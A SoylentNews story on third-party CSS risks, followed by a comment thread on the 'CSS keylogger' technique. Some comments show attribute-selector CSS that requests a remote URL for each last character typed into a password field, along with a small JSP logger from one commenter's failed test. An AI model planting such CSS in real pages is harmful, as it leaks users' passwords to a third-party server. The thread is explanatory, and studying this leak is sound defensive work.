Stories
Slash Boxes
Comments

SoylentNews is people

posted by Fnord666 on Wednesday February 28 2018, @06:07PM   Printer-friendly
from the just-use-lynx-and-elm dept.

Jake Archibald writes in his blog about the bigger problem presented by importing third-party content into web pages. Even CSS is a problem as a CSS keylogger demo showed the other day.

A few days ago there was a lot of chatter about a 'keylogger' built in CSS.

Some folks called for browsers to 'fix' it. Some folks dug a bit deeper and saw that it only affected sites built in React-like frameworks, and pointed the finger at React. But the real problem is thinking that third party content is 'safe'.

While most are acutely aware, yet ignore, the danger presentd by third-party javascript and javascript in general, most forget about CSS. Jake reminds us and walks through quite a few exampled of how CSS can be misused by third-parties exporting it.

Source : Third party CSS is not safe


Original Submission

 
This discussion has been archived. No new comments can be posted.
Display Options Threshold/Breakthrough Mark All as Read Mark All as Unread
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • (Score: 2, Informative) by Anonymous Coward on Wednesday February 28 2018, @11:24PM (3 children)

    by Anonymous Coward on Wednesday February 28 2018, @11:24PM (#645485)

    Suppose you had a single input field <input type="password"/>

    In the example CSS . . .

    input[type="password"][value$="a"] {
            background: url('/password?a');
    }

    This CSS, without any JavaScript, would match your input field named "password". It would match only if the value in the password ended in the letter "a". If so, it would fetch a URL ending in "a".

    No, this does not work as you describe. The CSS attribute selector is based on the element's value attribute in the DOM, which does not depend on what the user types. Try it and see -- this selector simply does not match your example element since it has no value attribute.

    With your example input, there is no value attribute, so the selector is not matched. Javascript is required to update the DOM in order for the style to be applied "dynamically". Alternately, the server could send a value attribute to start with (for example, <input type='password' value='endswitha' />, but this is static and also not changed by user input.

    Starting Score:    0  points
    Moderation   +2  
       Informative=2, Total=2
    Extra 'Informative' Modifier   0  

    Total Score:   2  
  • (Score: 2) by coolgopher on Thursday March 01 2018, @12:37AM

    by coolgopher (1157) on Thursday March 01 2018, @12:37AM (#645523)

    And this is where the comment about this attack largely depending on React like frameworks, where it's very common to make a control "managed" by keeping the authoritative state outside of the DOM and injecting it as-needed via the value="xyz" attribute of the control.

  • (Score: 2) by DannyB on Thursday March 01 2018, @02:34PM (1 child)

    by DannyB (5839) Subscriber Badge on Thursday March 01 2018, @02:34PM (#645769) Journal

    Okay. So I just now constructed a trivial example, and you're right. I cannot get this to happen.

    A page H1.html:

    Type password hear: <input type="password" value=""/>
    <style>
        input[type="password"][value$="a"] { background: url("https://some.server/example/H2.jsp?char='a'"); }
        input[type="password"][value$="b"] { background: url("https://some.server/example/H2.jsp?char='b'"); }
        input[type="password"][value$="c"] { background: url("https://some.server/example/H2.jsp?char='c'"); }
        input[type="password"][value$="d"] { background: url("https://some.server/example/H2.jsp?char='d'"); }
    </style>

    And a responder H2.jsp:

    <%System.out.println("H2: "+request.getParameter("char"));%>

    Now my responder does not return an image. But it does print on the server's console when a request is received, and what the "char" parameter value is.

    By manually invoking the URL from the browser's address bar:

    I can get the server's console to print out:

    H2: foobar

    But not by typing in the password field. I also tried changing the field type from password to text.

    I tried in Chrome, FireFox, IE and Edge.

    I also tried "relative" URLs rather than fully qualified URLs that specify the https and server name.

    So I must be misunderstanding something in TFA.

    --
    To transfer files: right-click on file, pick Copy. Unplug mouse, plug mouse into other computer. Right-click, paste.
    • (Score: 0) by Anonymous Coward on Tuesday March 06 2018, @08:15PM

      by Anonymous Coward on Tuesday March 06 2018, @08:15PM (#648658)

      So I must be misunderstanding something in TFA.

      Styles can depend on the state of the DOM, and Javascript can update the DOM (and therefore cause style changes). Without Javascript, the DOM is fixed once the document is loaded and, for the most part, so are styles (the exceptions are certain pseudo-classes like :visited and :checked).

      In TFA, the 3rd-party stylesheet is "leaking" the state of the DOM, which is updated by some 1st-party Javascript libraries. This could be a problem for website operators because they may be giving more control of their site to third parties than they imagined. (Although even without this kind of information leak stylesheets have almost total control over the document's presentation and malicious styles can do all sorts of nasty things).

      But the reason I say this is an almost total non-issue for browser users is because third party content doesn't really change the story for them. Either the site is logging keystrokes or it is not. Whether that's done by 1st-party or 3rd-party scripts/styles/whatever doesn't really matter.